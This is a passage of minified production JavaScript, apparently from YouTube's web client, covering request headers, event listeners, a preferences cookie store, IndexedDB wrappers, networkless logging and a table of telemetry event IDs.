function(){var x=window.document;this.C=window;this.Z=x};
g.DC("yt.ads_.signals_.getAdSignalsString",function(x){return T9(Z2(x))});g.x9();var XYD="XMLHttpRequest"in g.BX?function(){return new XMLHttpRequest}:null;var Gqb="client_dev_domain client_dev_expflag client_dev_regex_map client_dev_root_url client_rollout_override expflag forcedCapability jsfeat jsmode mods".split(" ");g.U(Gqb);var tE3={Authorization:"AUTHORIZATION","X-Goog-EOM-Visitor-Id":"EOM_VISITOR_DATA","X-Goog-Visitor-Id":"SANDBOXED_VISITOR_ID","X-Youtube-Domain-Admin-State":"DOMAIN_ADMIN_STATE","X-Youtube-Chrome-Connected":"CHROME_CONNECTED_HEADER","X-YouTube-Client-Name":"INNERTUBE_CONTEXT_CLIENT_NAME","X-YouTube-Client-Version":"INNERTUBE_CONTEXT_CLIENT_VERSION","X-YouTube-Delegation-Context":"INNERTUBE_CONTEXT_SERIALIZED_DELEGATION_CONTEXT","X-YouTube-Device":"DEVICE","X-Youtube-Identity-Token":"ID_TOKEN","X-YouTube-Page-CL":"PAGE_CL",
"X-YouTube-Page-Label":"PAGE_BUILD_LABEL","X-Goog-AuthUser":"SESSION_INDEX","X-Goog-PageId":"DELEGATED_SESSION_ID"},spm="app debugcss debugjs expflag force_ad_params force_ad_encrypted force_viral_ad_response_params forced_experiments innertube_snapshots innertube_goldens internalcountrycode internalipoverride absolute_experiments conditional_experiments sbb sr_bns_address".split(" ").concat(g.U(Gqb)),ZtX=!1,TXv=uj3,IuV=YD;g.P(r2,M9);FW.prototype.then=function(x,T,t){return this.C?this.C.then(x,T,t):this.j===1&&x?(x=x.call(t,this.Z))&&typeof x.then==="function"?x:vi(x):this.j===2&&T?(x=T.call(t,this.Z))&&typeof x.then==="function"?x:hg(x):this};
FW.prototype.getValue=function(){return this.Z};
FW.prototype.$goog_Thenable=!0;var VX=!1;var CM=Or||fy;var c_X=/^([0-9\.]+):([0-9\.]+)$/;g.P(qO,M9);qO.prototype.name="BiscottiError";g.P(EY,M9);EY.prototype.name="BiscottiMissingError";var r_J={format:"RAW",method:"GET",timeout:5E3,withCredentials:!0},Z$=null;var cC3=em(["data-"]),nw5={};var Lud=0,j$=g.OA?"webkit":jw?"moz":g.jW?"ms":g.bm?"o":"",nud=g.yJ("ytDomDomGetNextId")||function(){return++Lud};
g.DC("ytDomDomGetNextId",nud);var Wf3={stopImmediatePropagation:1,stopPropagation:1,preventMouseEvent:1,preventManipulation:1,preventDefault:1,layerX:1,layerY:1,screenX:1,screenY:1,scale:1,rotation:1,webkitMovementX:1,webkitMovementY:1};At.prototype.preventDefault=function(){this.event&&(this.event.returnValue=!1,this.event.preventDefault&&this.event.preventDefault())};
At.prototype.stopPropagation=function(){this.event&&(this.event.cancelBubble=!0,this.event.stopPropagation&&this.event.stopPropagation())};
At.prototype.stopImmediatePropagation=function(){this.event&&(this.event.cancelBubble=!0,this.event.stopImmediatePropagation&&this.event.stopImmediatePropagation())};var Rx=g.BX.ytEventsEventsListeners||{};g.DC("ytEventsEventsListeners",Rx);var NXD=g.BX.ytEventsEventsCounter||{count:0};g.DC("ytEventsEventsCounter",NXD);var ps5=ZH(function(){var x=!1;try{var T=Object.defineProperty({},"passive",{get:function(){x=!0}});
window.addEventListener("test",null,T)}catch(t){}return x}),J_q=ZH(function(){var x=!1;
try{var T=Object.defineProperty({},"capture",{get:function(){x=!0}});
window.addEventListener("test",null,T)}catch(t){}return x});var cN;cN=window;g.bo=cN.ytcsi&&cN.ytcsi.now?cN.ytcsi.now:cN.performance&&cN.performance.timing&&cN.performance.now&&cN.performance.timing.navigationStart?function(){return cN.performance.timing.navigationStart+cN.performance.now()}:function(){return(new Date).getTime()};g.TV(UY,g.W);UY.prototype.S=function(x){x.C===void 0&&DVf(x);var T=x.C;x.Z===void 0&&DVf(x);this.C=new g.jo(T,x.Z)};
UY.prototype.zp=function(){return this.C||new g.jo};
UY.prototype.ZZ=function(){if(this.C){var x=(0,g.bo)();if(this.K!=0){var T=this.D,t=this.C,u=T.x-t.x;T=T.y-t.y;u=Math.sqrt(u*u+T*T)/(x-this.K);this.Z[this.j]=Math.abs((u-this.T)/this.T)>.5?1:0;for(t=T=0;t<4;t++)T+=this.Z[t]||0;T>=3&&this.N();this.T=u}this.K=x;this.D=this.C;this.j=(this.j+1)%4}};
UY.prototype.oU=function(){g.M2(this.J);g.S$(this.jY)};g.P(bj,g.W);bj.prototype.V=function(x,T,t,u,H){t=g.Kr((0,g.K4)(t,u||this.Lz));t={target:x,name:T,callback:t};var I;H&&ps5()&&(I={passive:!0});x.addEventListener(T,t.callback,I);this.N.push(t);return t};
bj.prototype.f2=function(x){for(var T=0;T<this.N.length;T++)if(this.N[T]==x){this.N.splice(T,1);x.target.removeEventListener(x.name,x.callback);break}};
bj.prototype.oU=function(){g.zx(this);g.W.prototype.oU.call(this)};ki.prototype.clone=function(){var x=new ki,T;for(T in this)if(this.hasOwnProperty(T)){var t=this[T];x[T]=C4(t)=="object"?g.hq(t):t}return x};var S8f=["att/get"],eFm=["embedded_player"],Tpi=["account/get_setting_values"],awd=["share/get_share_panel"],guP=["share/get_web_player_share_panel"],BHF=["feedback"],WuE=["notification/modify_channel_preference"],r6H=["player"],DvM=["browse/edit_playlist"],sYm=["account/set_setting"],ym9=["subscription/subscribe"],NHP=["subscription/unsubscribe"],h5J=["next","unplugged/watch_next"];var ht;g.FM=ZH(function(){try{var x=new VO;var T=x.isAvailable()?x:null}catch(t){return null}return T?new g.kP(T):null});
ht=ZH(function(){var x=new xz5;return x.isAvailable()?new g.kP(x):null});g.Jmb=window.yt&&window.yt.msgs_||window.ytcfg&&window.ytcfg.msgs||{};g.DC("yt.msgs_",g.Jmb);ax.prototype.Fx=function(x,T){x={};var t=[];"USER_SESSION_ID"in Cr&&t.push({key:"u",value:g.pr("USER_SESSION_ID")});if(t=Bnq(t))x.Authorization=t,t=T=T==null?void 0:T.sessionIndex,t===void 0&&(t=Number(g.pr("SESSION_INDEX",0)),t=isNaN(t)?0:t),g.R6("voice_search_auth_header_removal")||(x["X-Goog-AuthUser"]=t.toString()),"INNERTUBE_HOST_OVERRIDE"in Cr||(x["X-Origin"]=window.location.origin),T===void 0&&"DELEGATED_SESSION_ID"in Cr&&(x["X-Goog-PageId"]=g.pr("DELEGATED_SESSION_ID"));return x};var qR={identityType:"UNAUTHENTICATED_IDENTITY_TYPE_UNKNOWN"};var D$=g.yJ("ytglobal.prefsUserPrefsPrefs_")||{};g.DC("ytglobal.prefsUserPrefsPrefs_",D$);var gx;g.q=xBD.prototype;g.q.get=function(x,T){Jt(x);NO(x);x=D$[x]!==void 0?D$[x].toString():null;return x!=null?x:T?T:""};
g.q.set=function(x,T){Jt(x);NO(x);if(T==null)throw Error("ExpectedNotNull");D$[x]=T.toString()};
g.q.remove=function(x){Jt(x);NO(x);delete D$[x]};
g.q.save=function(){var x=!0;g.R6("web_secure_pref_cookie_killswitch")&&(x=!1);g.Ly(this.C,this.dump(),63072E3,this.Z,x)};
g.q.clear=function(){g.Nnf(D$)};
g.q.dump=function(){var x=[],T;for(T in D$)D$.hasOwnProperty(T)&&x.push(T+"="+encodeURIComponent(String(D$[T])));return x.join("&")};
g.q.parse=function(x){x=decodeURIComponent(x).split("&");for(var T=0;T<x.length;T++){var t=x[T].split("="),u=t[0];(t=t[1])&&(D$[u]=t.toString())}};var tWH={bluetooth:"CONN_DISCO",cellular:"CONN_CELLULAR_UNKNOWN",ethernet:"CONN_WIFI",none:"CONN_NONE",wifi:"CONN_WIFI",wimax:"CONN_CELLULAR_4G",other:"CONN_UNKNOWN",unknown:"CONN_UNKNOWN","slow-2g":"CONN_CELLULAR_2G","2g":"CONN_CELLULAR_2G","3g":"CONN_CELLULAR_3G","4g":"CONN_CELLULAR_4G"},SiD={CONN_DEFAULT:0,CONN_UNKNOWN:1,CONN_NONE:2,CONN_WIFI:3,CONN_CELLULAR_2G:4,CONN_CELLULAR_3G:5,CONN_CELLULAR_4G:6,CONN_CELLULAR_UNKNOWN:7,CONN_DISCO:8,CONN_CELLULAR_5G:9,CONN_WIFI_METERED:10,CONN_CELLULAR_5G_SA:11,
CONN_CELLULAR_5G_NSA:12,CONN_WIRED:30,CONN_INVALID:31},cTq={EFFECTIVE_CONNECTION_TYPE_UNKNOWN:0,EFFECTIVE_CONNECTION_TYPE_OFFLINE:1,EFFECTIVE_CONNECTION_TYPE_SLOW_2G:2,EFFECTIVE_CONNECTION_TYPE_2G:3,EFFECTIVE_CONNECTION_TYPE_3G:4,EFFECTIVE_CONNECTION_TYPE_4G:5},uz3={"slow-2g":"EFFECTIVE_CONNECTION_TYPE_SLOW_2G","2g":"EFFECTIVE_CONNECTION_TYPE_2G","3g":"EFFECTIVE_CONNECTION_TYPE_3G","4g":"EFFECTIVE_CONNECTION_TYPE_4G"};g.P(g.CS,Error);OY.prototype.v_=function(x,T){return fS(x,1,T)};
OY.prototype.Bz=function(x){(x=this.C.get(x))&&x()};g.yJ("yt.scheduler.instance.timerIdMap_");g.P(KS,OY);KS.prototype.L_=function(x){if(x===void 0||!Number.isNaN(Number(x))){var T=g.yJ("yt.scheduler.instance.cancelJob");T?T(x):g.d2(x)}};
KS.prototype.start=function(){var x=g.yJ("yt.scheduler.instance.start");x&&x()};
KS.prototype.pause=function(){var x=g.yJ("yt.scheduler.instance.pause");x&&x()};
g.Du=g.XM();ou.prototype.set=function(x,T,t,u){t=t||31104E3;this.remove(x);if(this.C)try{this.C.set(x,T,Date.now()+t*1E3);return}catch(I){}var H="";if(u)try{H=escape(g.rd(T))}catch(I){return}else H=escape(T);g.Ly(x,H,t,this.Z)};
ou.prototype.get=function(x,T){var t=void 0,u=!this.C;if(!u)try{t=this.C.get(x)}catch(H){u=!0}if(u&&(t=g.ny(x))&&(t=unescape(t),T))try{t=JSON.parse(t)}catch(H){this.remove(x),t=void 0}return t};
ou.prototype.remove=function(x){this.C&&this.C.remove(x);g.a6(x,"/",this.Z)};
ou.prototype.getCreationTime=function(x){return this.C&&(x=(this.C.Z(x)||{}).creation,typeof x==="number")?x:null};var tS=function(){var x;return function(){x||(x=new ou("ytidb"));return x}}();var Iu=[],uo,Ex=!1;var Y0={},Ioi=(Y0.AUTH_INVALID="No user identifier specified.",Y0.EXPLICIT_ABORT="Transaction was explicitly aborted.",Y0.IDB_NOT_SUPPORTED="IndexedDB is not supported.",Y0.MISSING_INDEX="Index not created.",Y0.MISSING_OBJECT_STORES="Object stores not created.",Y0.DB_DELETED_BY_MISSING_OBJECT_STORES="Database is deleted because expected object stores were not created.",Y0.DB_REOPENED_BY_MISSING_OBJECT_STORES="Database is reopened because expected object stores were not created.",Y0.UNKNOWN_ABORT=
"Transaction was aborted for unknown reasons.",Y0.QUOTA_EXCEEDED="The current transaction exceeded its quota limitations.",Y0.QUOTA_MAYBE_EXCEEDED="The current transaction may have failed because of exceeding quota limitations.",Y0.EXECUTE_TRANSACTION_ON_CLOSED_DB="Can't start a transaction on a closed database",Y0.INCOMPATIBLE_DB_VERSION="The binary is incompatible with the database version",Y0),U_={},EPV=(U_.AUTH_INVALID="ERROR",U_.EXECUTE_TRANSACTION_ON_CLOSED_DB="WARNING",U_.EXPLICIT_ABORT="IGNORED",
U_.IDB_NOT_SUPPORTED="ERROR",U_.MISSING_INDEX="WARNING",U_.MISSING_OBJECT_STORES="ERROR",U_.DB_DELETED_BY_MISSING_OBJECT_STORES="WARNING",U_.DB_REOPENED_BY_MISSING_OBJECT_STORES="WARNING",U_.QUOTA_EXCEEDED="WARNING",U_.QUOTA_MAYBE_EXCEEDED="WARNING",U_.UNKNOWN_ABORT="WARNING",U_.INCOMPATIBLE_DB_VERSION="WARNING",U_),bl={},qR5=(bl.AUTH_INVALID=!1,bl.EXECUTE_TRANSACTION_ON_CLOSED_DB=!1,bl.EXPLICIT_ABORT=!1,bl.IDB_NOT_SUPPORTED=!1,bl.MISSING_INDEX=!1,bl.MISSING_OBJECT_STORES=!1,bl.DB_DELETED_BY_MISSING_OBJECT_STORES=
!1,bl.DB_REOPENED_BY_MISSING_OBJECT_STORES=!1,bl.QUOTA_EXCEEDED=!1,bl.QUOTA_MAYBE_EXCEEDED=!0,bl.UNKNOWN_ABORT=!0,bl.INCOMPATIBLE_DB_VERSION=!1,bl);g.P(g.lo,g.CS);g.P(mP,g.lo);g.P(dm,Error);var ZeH=["The database connection is closing","Can't start a transaction on a closed database","A mutation operation was attempted on a database that did not allow mutations"];g.SD.all=function(x){return new g.SD(new Py(function(T,t){var u=[],H=x.length;H===0&&T(u);for(var I={t5:0};I.t5<x.length;I={t5:I.t5},++I.t5)g.SD.resolve(x[I.t5]).then(function(E){return function(Z){u[E.t5]=Z;H--;H===0&&T(u)}}(I)).catch(function(E){t(E)})}))};
g.SD.resolve=function(x){return new g.SD(new Py(function(T,t){x instanceof g.SD?x.then(T,t):T(x)}))};
g.SD.reject=function(x){return new g.SD(new Py(function(T,t){t(x)}))};
g.SD.prototype.then=function(x,T){var t=this,u=x!=null?x:eLD,H=T!=null?T:jcf;return new g.SD(new Py(function(I,E){t.state.status==="PENDING"?(t.C.push(function(){loJ(t,t,u,I,E)}),t.Z.push(function(){mBi(t,t,H,I,E)})):t.state.status==="FULFILLED"?loJ(t,t,u,I,E):t.state.status==="REJECTED"&&mBi(t,t,H,I,E)}))};
g.SD.prototype.catch=function(x){return this.then(void 0,x)};g.q=SR4.prototype;g.q.add=function(x,T,t){return g.F3(this,[x],{mode:"readwrite",c9:!0},function(u){return u.objectStore(x).add(T,t)})};
g.q.clear=function(x){return g.F3(this,[x],{mode:"readwrite",c9:!0},function(T){return T.objectStore(x).clear()})};
g.q.close=function(){this.C.close();var x;((x=this.options)==null?0:x.closed)&&this.options.closed()};
g.q.count=function(x,T){return g.F3(this,[x],{mode:"readonly",c9:!0},function(t){return t.objectStore(x).count(T)})};
g.q.delete=function(x,T){return g.F3(this,[x],{mode:"readwrite",c9:!0},function(t){return t.objectStore(x).delete(T)})};
g.q.get=function(x,T){return g.F3(this,[x],{mode:"readonly",c9:!0},function(t){return t.objectStore(x).get(T)})};
g.q.getAll=function(x,T,t){return g.F3(this,[x],{mode:"readonly",c9:!0},function(u){return u.objectStore(x).getAll(T,t)})};
g.q.objectStoreNames=function(){return Array.from(this.C.objectStoreNames)};
g.q.getName=function(){return this.C.name};
g.q=rm.prototype;g.q.add=function(x,T){return Y$(this.C.add(x,T))};
g.q.autoIncrement=function(){return this.C.autoIncrement};
g.q.clear=function(){return Y$(this.C.clear()).then(function(){})};
g.q.count=function(x){return Y$(this.C.count(x))};
g.q.delete=function(x){return x instanceof IDBKeyRange?be5(this,x):Y$(this.C.delete(x))};
g.q.get=function(x){return Y$(this.C.get(x))};
g.q.getAll=function(x,T){return"getAll"in IDBObjectStore.prototype?Y$(this.C.getAll(x,T)):rwV(this,x,T)};
g.q.index=function(x){try{return new hLX(this.C.index(x))}catch(T){if(T instanceof Error&&T.name==="NotFoundError")throw new dm(x,this.C.name);throw T;}};
g.q.getName=function(){return this.C.name};
g.q.keyPath=function(){return this.C.keyPath};
Vb.prototype.abort=function(){this.C.abort();this.Z=!0;throw new g.lo("EXPLICIT_ABORT");};
Vb.prototype.objectStore=function(x){x=this.C.objectStore(x);var T=this.j.get(x);T||(T=new rm(x),this.j.set(x,T));return T};
g.q=hLX.prototype;g.q.count=function(x){return Y$(this.C.count(x))};
g.q.delete=function(x){return g.gm(this,{query:x},function(T){return T.delete().then(function(){return g.nM(T)})})};
g.q.get=function(x){return Y$(this.C.get(x))};
g.q.getAll=function(x,T){return"getAll"in IDBIndex.prototype?Y$(this.C.getAll(x,T)):vPJ(this,x,T)};
g.q.keyPath=function(){return this.C.keyPath};
g.q.unique=function(){return this.C.unique};
By.prototype.delete=function(){return Y$(this.cursor.delete()).then(function(){})};
By.prototype.getValue=function(){return this.cursor.value};
By.prototype.update=function(x){return Y$(this.cursor.update(x))};D_.prototype.Z=function(x,T,t){t=t===void 0?{}:t;return Gov(x,T,t)};
D_.prototype.delete=function(x){x=x===void 0?{}:x;return Wy(this.name,x)};
D_.prototype.open=function(){function x(){var I,E,Z,e,l,m,d,M,A,R;return g.G(function(Y){switch(Y.C){case 1:return E=(I=Error().stack)!=null?I:"",g.PX(Y,2),g.v(Y,t.Z(t.name,t.options.version,H),4);case 4:for(var b=Z=Y.Z,z=t.options,F=[],V=g.S(Object.keys(z.wG)),B=V.next();!B.done;B=V.next()){B=B.value;var D=z.wG[B],f=D.PqW===void 0?Number.MAX_VALUE:D.PqW;!(b.C.version>=D.Fs)||b.C.version>=f||b.C.objectStoreNames.contains(B)||F.push(B)}e=F;if(e.length===0){Y.lG(5);break}l=Object.keys(t.options.wG);
m=Z.objectStoreNames();if(t.T<g.Pi("ytidb_reopen_db_retries",0))return t.T++,Z.close(),q4(new g.lo("DB_REOPENED_BY_MISSING_OBJECT_STORES",{dbName:t.name,expectedObjectStores:l,foundObjectStores:m})),Y.return(x());if(!(t.K<g.Pi("ytidb_remake_db_retries",1))){Y.lG(6);break}t.K++;return g.v(Y,t.delete(),7);case 7:return q4(new g.lo("DB_DELETED_BY_MISSING_OBJECT_STORES",{dbName:t.name,expectedObjectStores:l,foundObjectStores:m})),Y.return(x());case 6:throw new mP(m,l);case 5:return Y.return(Z);case 2:d=
g.Yq(Y);if(d instanceof DOMException?d.name!=="VersionError":"DOMError"in self&&d instanceof DOMError?d.name!=="VersionError":!(d instanceof Object&&"message"in d)||d.message!=="An attempt was made to open a database using a lower version than the existing version."){Y.lG(8);break}return g.v(Y,t.Z(t.name,void 0,Object.assign({},H,{upgrade:void 0})),9);case 9:M=Y.Z;A=M.C.version;if(t.options.version!==void 0&&A>t.options.version+1)throw M.close(),t.j=!1,L53(t,A);return Y.return(M);case 8:throw T(),
d instanceof Error&&!g.R6("ytidb_async_stack_killswitch")&&(d.stack=d.stack+"\n"+E.substring(E.indexOf("\n")+1)),AS(d,t.name,"",(R=t.options.version)!=null?R:-1);}})}
function T(){t.C===u&&(t.C=void 0)}
var t=this;if(!this.j)throw L53(this);if(this.C)return this.C;var u,H={blocking:function(I){I.close()},
closed:T,rpf:T,upgrade:this.options.upgrade};return this.C=u=x()};var N4=new D_("YtIdbMeta",{wG:{databases:{Fs:1}},upgrade:function(x,T){T(1)&&g.zG(x,"databases",{keyPath:"actualName"})}});var Ox,pM=new function(){}(new function(){});new g.mn;g.P(KM,D_);KM.prototype.Z=function(x,T,t){t=t===void 0?{}:t;return(this.options.shared?Jwf:NYq)(x,T,Object.assign({},t))};
KM.prototype.delete=function(x){x=x===void 0?{}:x;return(this.options.shared?Oef:CYf)(this.name,x)};var CgC={},w$i=g.X3("ytGcfConfig",{wG:(CgC.coldConfigStore={Fs:1},CgC.hotConfigStore={Fs:1},CgC),shared:!1,upgrade:function(x,T){T(1)&&(g.GG(g.zG(x,"hotConfigStore",{keyPath:"key",autoIncrement:!0}),"hotTimestampIndex","timestamp"),g.GG(g.zG(x,"coldConfigStore",{keyPath:"key",autoIncrement:!0}),"coldTimestampIndex","timestamp"))},
version:1});g.P(TS,g.W);TS.prototype.oU=function(){for(var x=g.S(this.Z),T=x.next();!T.done;T=x.next()){var t=this.C;T=t.indexOf(T.value);T>=0&&t.splice(T,1)}this.Z.length=0;g.W.prototype.oU.call(this)};He.prototype.LA=function(x){this.hotHashData=x;g.DC("yt.gcf.config.hotHashData",this.hotHashData||null)};var Q2M=typeof TextEncoder!=="undefined"?new TextEncoder:null,BF4=Q2M?function(x){return Q2M.encode(x)}:function(x){x=g.S0(x);
for(var T=new Uint8Array(x.length),t=0;t<T.length;t++)T[t]=x[t];return T};var wem={next:"wn_s",browse:"br_s",search:"sr_s",reel:"r_wrs",player:"ps_s"},XeJ={next:"wn_r",browse:"br_r",search:"sr_r",reel:"r_wrr",player:"ps_r"};Zc.prototype.vM=function(){return{version:this.version,args:this.args}};jr.prototype.toString=function(){return this.topic};var pI9=g.yJ("ytPubsub2Pubsub2Instance")||new g.UR;g.UR.prototype.subscribe=g.UR.prototype.subscribe;g.UR.prototype.unsubscribeByKey=g.UR.prototype.Cd;g.UR.prototype.publish=g.UR.prototype.publish;g.UR.prototype.clear=g.UR.prototype.clear;g.DC("ytPubsub2Pubsub2Instance",pI9);var mM=g.yJ("ytPubsub2Pubsub2SubscribedKeys")||{};g.DC("ytPubsub2Pubsub2SubscribedKeys",mM);var d$=g.yJ("ytPubsub2Pubsub2TopicToKeys")||{};g.DC("ytPubsub2Pubsub2TopicToKeys",d$);var brv=g.yJ("ytPubsub2Pubsub2IsAsync")||{};
g.DC("ytPubsub2Pubsub2IsAsync",brv);g.DC("ytPubsub2Pubsub2SkipSubKey",null);var U5=void 0,Ye=void 0;var nTH=g.Pi("max_body_size_to_compress",5E5),aQ3=g.Pi("min_body_size_to_compress",500),ke=!0,Vq=0,ve=0,W4m=g.Pi("compression_performance_threshold_lr",250),Dx3=g.Pi("slow_compressions_before_abandon_count",4),r$=!1,zS=new Map,Fw=1,gTV=!0;g.q=Lf.prototype;g.q.writeThenSend=function(x,T){var t=this;T=T===void 0?{}:T;if(GS(this)&&this.C){var u={url:x,options:T,timestamp:this.now(),status:"NEW",sendCount:0};this.aT.set(u,this.WS).then(function(H){u.id=H;t.rd.TV()&&t.H5(u)}).catch(function(H){t.H5(u);
nf(t,H)})}else this.sendFn(x,T)};
g.q.sendThenWrite=function(x,T,t){var u=this;T=T===void 0?{}:T;if(GS(this)&&this.C){var H={url:x,options:T,timestamp:this.now(),status:"NEW",sendCount:0};this.aU&&this.aU("nwl_skip_retry")&&(H.skipRetry=t);if(this.rd.TV()||this.aU&&this.aU("nwl_aggressive_send_then_write")&&!H.skipRetry){if(!H.skipRetry){var I=T.onError?T.onError:function(){};
T.onError=function(E,Z){return g.G(function(e){if(e.C==1)return g.v(e,u.aT.set(H,u.WS).catch(function(l){nf(u,l)}),2);
I(E,Z);g.RV(e)})}}this.sendFn(x,T,H.skipRetry)}else this.aT.set(H,this.WS).catch(function(E){u.sendFn(x,T,H.skipRetry);
nf(u,E)})}else t=this.aU&&this.aU("nwl_skip_retry")&&t,this.sendFn(x,T,t)};
g.q.sendAndWrite=function(x,T){var t=this;T=T===void 0?{}:T;if(GS(this)&&this.C){var u={url:x,options:T,timestamp:this.now(),status:"NEW",sendCount:0},H=!1,I=T.onSuccess?T.onSuccess:function(){};
u.options.onSuccess=function(E,Z){u.id!==void 0?t.aT.xo(u.id,t.WS):H=!0;t.rd.ER&&t.aU&&t.aU("vss_network_hint")&&t.rd.ER(!0);I(E,Z)};
this.sendFn(u.url,u.options,void 0,!0);this.aT.set(u,this.WS).then(function(E){u.id=E;H&&t.aT.xo(u.id,t.WS)}).catch(function(E){nf(t,E)})}else this.sendFn(x,T,void 0,!0)};
g.q.Xf=function(){var x=this;if(!GS(this))throw Error("IndexedDB is not supported: throttleSend");this.Z||(this.Z=this.Lt.v_(function(){var T;return g.G(function(t){if(t.C==1)return g.v(t,x.aT.sI("NEW",x.WS),2);if(t.C!=3)return T=t.Z,T?g.v(t,x.H5(T),3):(x.Fg(),t.return());x.Z&&(x.Z=0,x.Xf());g.RV(t)})},this.VC))};
g.q.Fg=function(){this.Lt.L_(this.Z);this.Z=0};
g.q.H5=function(x){var T=this,t;return g.G(function(u){switch(u.C){case 1:if(!GS(T))throw Error("IndexedDB is not supported: immediateSend");if(x.id===void 0){u.lG(2);break}return g.v(u,T.aT.uVy(x.id,T.WS),3);case 3:(t=u.Z)||T.wK(Error("The request cannot be found in the database."));case 2:if(T.Cs(x,T.Ag)){u.lG(4);break}T.wK(Error("Networkless Logging: Stored logs request expired age limit"));if(x.id===void 0){u.lG(5);break}return g.v(u,T.aT.xo(x.id,T.WS),5);case 5:return u.return();case 4:x.skipRetry||
(x=p93(T,x));if(!x){u.lG(0);break}if(!x.skipRetry||x.id===void 0){u.lG(8);break}return g.v(u,T.aT.xo(x.id,T.WS),8);case 8:T.sendFn(x.url,x.options,!!x.skipRetry),g.RV(u)}})};
g.q.Cs=function(x,T){x=x.timestamp;return this.now()-x>=T?!1:!0};
g.q.jO=function(){var x=this;if(!GS(this))throw Error("IndexedDB is not supported: retryQueuedRequests");this.aT.sI("QUEUED",this.WS).then(function(T){T&&!x.Cs(T,x.RD)?x.Lt.v_(function(){return g.G(function(t){if(t.C==1)return T.id===void 0?t.lG(2):g.v(t,x.aT.Xi(T.id,x.WS),2);x.jO();g.RV(t)})}):x.rd.TV()&&x.Xf()})};var as;var Atv={accountStateChangeSignedIn:23,accountStateChangeSignedOut:24,delayedEventMetricCaptured:11,latencyActionBaselined:6,latencyActionInfo:7,latencyActionTicked:5,offlineTransferStatusChanged:2,offlineImageDownload:335,playbackStartStateChanged:9,systemHealthCaptured:3,mangoOnboardingCompleted:10,mangoPushNotificationReceived:230,mangoUnforkDbMigrationError:121,mangoUnforkDbMigrationSummary:122,mangoUnforkDbMigrationPreunforkDbVersionNumber:133,mangoUnforkDbMigrationPhoneMetadata:134,mangoUnforkDbMigrationPhoneStorage:135,
mangoUnforkDbMigrationStep:142,mangoAsyncApiMigrationEvent:223,mangoDownloadVideoResult:224,mangoHomepageVideoCount:279,mangoHomeV3State:295,mangoImageClientCacheHitEvent:273,sdCardStatusChanged:98,framesDropped:12,thumbnailHovered:13,deviceRetentionInfoCaptured:14,thumbnailLoaded:15,backToAppEvent:318,streamingStatsCaptured:17,offlineVideoShared:19,appCrashed:20,youThere:21,offlineStateSnapshot:22,mdxSessionStarted:25,mdxSessionConnected:26,mdxSessionDisconnected:27,bedrockResourceConsumptionSnapshot:28,
nextGenWatchWatchSwiped:29,kidsAccountsSnapshot:30,zeroStepChannelCreated:31,tvhtml5SearchCompleted:32,offlineSharePairing:34,offlineShareUnlock:35,mdxRouteDistributionSnapshot:36,bedrockRepetitiveActionTimed:37,unpluggedDegradationInfo:229,uploadMp4HeaderMoved:38,uploadVideoTranscoded:39,uploadProcessorStarted:46,uploadProcessorEnded:47,uploadProcessorReady:94,uploadProcessorRequirementPending:95,uploadProcessorInterrupted:96,uploadFrontendEvent:241,assetPackDownloadStarted:41,assetPackDownloaded:42,
assetPackApplied:43,assetPackDeleted:44,appInstallAttributionEvent:459,playbackSessionStopped:45,adBlockerMessagingShown:48,distributionChannelCaptured:49,dataPlanCpidRequested:51,detailedNetworkTypeCaptured:52,sendStateUpdated:53,receiveStateUpdated:54,sendDebugStateUpdated:55,receiveDebugStateUpdated:56,kidsErrored:57,mdxMsnSessionStatsFinished:58,appSettingsCaptured:59,mdxWebSocketServerHttpError:60,mdxWebSocketServer:61,startupCrashesDetected:62,coldStartInfo:435,offlinePlaybackStarted:63,liveChatMessageSent:225,
liveChatUserPresent:434,liveChatBeingModerated:457,liveCreationCameraUpdated:64,liveCreationEncodingCaptured:65,liveCreationError:66,liveCreationHealthUpdated:67,liveCreationVideoEffectsCaptured:68,liveCreationStageOccured:75,liveCreationBroadcastScheduled:123,liveCreationArchiveReplacement:149,liveCreationCostreamingConnection:421,liveCreationStreamWebrtcStats:288,mdxSessionRecoveryStarted:69,mdxSessionRecoveryCompleted:70,mdxSessionRecoveryStopped:71,visualElementShown:72,visualElementHidden:73,
visualElementGestured:78,visualElementStateChanged:208,screenCreated:156,playbackAssociated:202,visualElementAttached:215,playbackContextEvent:214,cloudCastingPlaybackStarted:74,webPlayerApiCalled:76,tvhtml5AccountDialogOpened:79,foregroundHeartbeat:80,foregroundHeartbeatScreenAssociated:111,kidsOfflineSnapshot:81,mdxEncryptionSessionStatsFinished:82,playerRequestCompleted:83,liteSchedulerStatistics:84,mdxSignIn:85,spacecastMetadataLookupRequested:86,spacecastBatchLookupRequested:87,spacecastSummaryRequested:88,
spacecastPlayback:89,spacecastDiscovery:90,tvhtml5LaunchUrlComponentChanged:91,mdxBackgroundPlaybackRequestCompleted:92,mdxBrokenAdditionalDataDeviceDetected:93,tvhtml5LocalStorage:97,tvhtml5DeviceStorageStatus:147,autoCaptionsAvailable:99,playbackScrubbingEvent:339,flexyState:100,interfaceOrientationCaptured:101,mainAppBrowseFragmentCache:102,offlineCacheVerificationFailure:103,offlinePlaybackExceptionDigest:217,vrCopresenceStats:104,vrCopresenceSyncStats:130,vrCopresenceCommsStats:137,vrCopresencePartyStats:153,
vrCopresenceEmojiStats:213,vrCopresenceEvent:141,vrCopresenceFlowTransitEvent:160,vrCowatchPartyEvent:492,vrCowatchUserStartOrJoinEvent:504,vrPlaybackEvent:345,kidsAgeGateTracking:105,offlineDelayAllowedTracking:106,mainAppAutoOfflineState:107,videoAsThumbnailDownload:108,videoAsThumbnailPlayback:109,liteShowMore:110,renderingError:118,kidsProfilePinGateTracking:119,abrTrajectory:124,scrollEvent:125,streamzIncremented:126,kidsProfileSwitcherTracking:127,kidsProfileCreationTracking:129,buyFlowStarted:136,
mbsConnectionInitiated:138,mbsPlaybackInitiated:139,mbsLoadChildren:140,liteProfileFetcher:144,mdxRemoteTransaction:146,reelPlaybackError:148,reachabilityDetectionEvent:150,mobilePlaybackEvent:151,courtsidePlayerStateChanged:152,musicPersistentCacheChecked:154,musicPersistentCacheCleared:155,playbackInterrupted:157,playbackInterruptionResolved:158,fixFopFlow:159,anrDetection:161,backstagePostCreationFlowEnded:162,clientError:163,gamingAccountLinkStatusChanged:164,liteHousewarming:165,buyFlowEvent:167,
